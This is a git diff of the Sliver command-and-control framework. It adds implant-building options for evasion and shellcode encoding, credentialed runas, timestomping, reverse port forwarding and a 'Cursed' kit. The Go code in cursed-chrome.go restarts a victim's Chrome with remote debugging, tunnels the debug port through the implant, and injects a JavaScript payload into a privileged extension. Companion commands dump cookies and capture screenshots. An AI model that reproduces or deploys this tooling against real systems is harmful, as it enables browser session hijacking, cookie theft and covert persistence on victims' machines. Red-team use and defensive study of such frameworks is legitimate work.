 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.String("O", "debug-file", "", "path to debug output")
+			f.Bool("e", "evasion", false, "enable evasion features  (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1331,6 +1415,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1427,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "directory/file to the binary to")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1455,8 +1541,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
+			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1474,6 +1562,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1483,6 +1573,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1512,17 +1603,20 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int64("M", "minutes", 0, "beacon interval minutes")
 			f.Int64("S", "seconds", 60, "beacon interval seconds")
 			f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			// Generate flags
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
+			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1536,6 +1630,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1545,6 +1641,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1875,6 +1972,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("4", "ip4", true, "display information about IPv4 sockets")
 			f.Bool("6", "ip6", false, "display information about IPv6 sockets")
 			f.Bool("l", "listen", false, "display information about listening sockets")
+			f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverHelpGroup,
@@ -1893,6 +1991,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "print-cmdline", false, "print command line arguments")
 			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
 			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.Bool("T", "tree", false, "print process tree")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1955,9 +2054,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Run a new process in the context of the designated user (Windows Only)",
 		LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
+			f.String("u", "username", "", "user to impersonate")
 			f.String("p", "process", "", "process to start")
 			f.String("a", "args", "", "arguments for the process")
+			f.String("d", "domain", "", "domain of the user")
+			f.String("P", "password", "", "password of the user")
+			f.Bool("s", "show-window", false, `
+			Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
+			f.Bool("n", "net-only", false, "use ")
 			f.Int("t", "timeout", 30, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2029,6 +2133,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("u", "username", "", "username of the user to impersonate")
 			f.String("p", "password", "", "password of the user to impersonate")
 			f.String("d", "domain", "", "domain of the user to impersonate")
+			f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -2040,6 +2145,118 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChmodStr,
+		Help:     "Change permissions on a file or directory",
+		LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("r", "recursive", false, "recursively change permissions on files")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("path", "path to the file to remove")
+			a.String("mode", "file permissions in octal, e.g. 0644")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChmodCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChownStr,
+		Help:     "Change owner on a file or directory",
+		LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("r", "recursive", false, "recursively change permissions on files")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("path", "path to the file to remove")
+			a.String("uid", "User, e.g. root")
+			a.String("gid", "Group, e.g. root")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChownCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ChtimesStr,
+		Help:     "Change access and modification times on a file (timestomp)",
+		LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("path", "path to the file to remove")
+			a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
+			a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.ChtimesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	memfilesCmd := &grumble.Command{
+		Name:     consts.MemfilesStr,
+		Help:     "List current memfiles",
+		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.MemfilesListCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	}
+	memfilesCmd.AddCommand(&grumble.Command{
+		Name:     consts.AddStr,
+		Help:     "Add a memfile",
+		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.MemfilesAddCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	})
+	memfilesCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Remove a memfile",
+		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}),
+		Args: func(a *grumble.Args) {
+			a.String("fd", "memfile file descriptor")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			filesystem.MemfilesRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	})
+	con.App.AddCommand(memfilesCmd)
+
 	// [ Websites ] ---------------------------------------------
 
 	websitesCmd := &grumble.Command{
@@ -2462,6 +2679,59 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(registryCmd)
 
+	// [ Reverse Port Forwarding ] --------------------------------------------------------------
+
+	rportfwdCmd := &grumble.Command{
+		Name:     consts.RportfwdStr,
+		Help:     "reverse port forwardings",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.RportFwdListenersCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	}
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.AddStr,
+		Help:     "Add and start reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StartRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
+			f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Stop and remove reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StopRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Int("i", "id", 0, "id of portfwd to remove")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+
+	con.App.AddCommand(rportfwdCmd)
+
 	// [ Pivots ] --------------------------------------------------------------
 
 	pivotsCmd := &grumble.Command{
@@ -3254,6 +3524,186 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
-
 	con.App.AddCommand(operatorCmd)
+
+	// [ Curse Commands ] ------------------------------------------------------------
+
+	cursedCmd := &grumble.Command{
+		Name:      consts.Cursed,
+		Help:      "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.RmStr,
+		Help:      "Remove a Curse from a process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("k", "kill", false, "kill the process after removing the curse")
+		},
+		Args: func(a *grumble.Args) {
+			a.Int("bind-port", "bind port of the Cursed process to stop")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedConsole,
+		Help:      "Start a JavaScript console connected to a debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedConsoleCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedChrome,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedChromeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedEdge,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Edge extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedCookies,
+		Help:      "Dump all cookies from cursed process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save to file")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedCookiesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.ScreenshotStr,
+		Help:      "Take a screenshot of a cursed process debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
+			f.String("s", "save", "", "save to file")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedScreenshotCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	con.App.AddCommand(cursedCmd)
+
+	// [ Builders ] ---------------------------------------------
+	buildersCmd := &grumble.Command{
+		Name:      consts.BuildersStr,
+		Help:      "List external builders",
+		LongHelp:  help.GetHelpFor([]string{consts.BuildersStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			builders.BuildersCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	con.App.AddCommand(buildersCmd)
 }

client/command/cursed/README.md

@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).

client/command/cursed/cursed-chrome.go

@@ -0,0 +1,435 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
+	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+	ErrUnsupportedOS            = errors.New("unsupported OS")
+
+	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraChrome(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if chromeProcess != nil {
+		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     chromeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(false, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	name := "Chrome"
+	if isEdge {
+		name = "Edge"
+	}
+
+	con.PrintInfof("Finding %s executable path ... ", name)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+	con.PrintInfof("Finding %s user data directory ... ", name)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+
+	con.PrintInfof("Starting %s process ... ", name)
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	if chromeUserDataDir != "" {
+		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+	}
+	if ctx.Flags.Bool("restore") {
+		args = append(args, "--restore-last-session")
+	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    chromeExePath,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+	con.PrintInfof("Waiting for %s process to initialize ... ", name)
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:         session.ID,
+		PID:               chromeExec.GetPid(),
+		PortFwd:           portFwd,
+		BindTCPPort:       bindPort,
+		Platform:          session.GetOS(),
+		ExePath:           chromeExePath,
+		ChromeUserDataDir: chromeUserDataDir,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag := ctx.Flags.String("user-data")
+	if userDataFlag != "" {
+		return userDataFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+			if isEdge {
+				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
+			}
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    userDataDir,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return userDataDir, nil
+			}
+		}
+		return "", ErrUserDataDirNotFound
+
+	case "darwin":
+		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+		if isEdge {
+			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
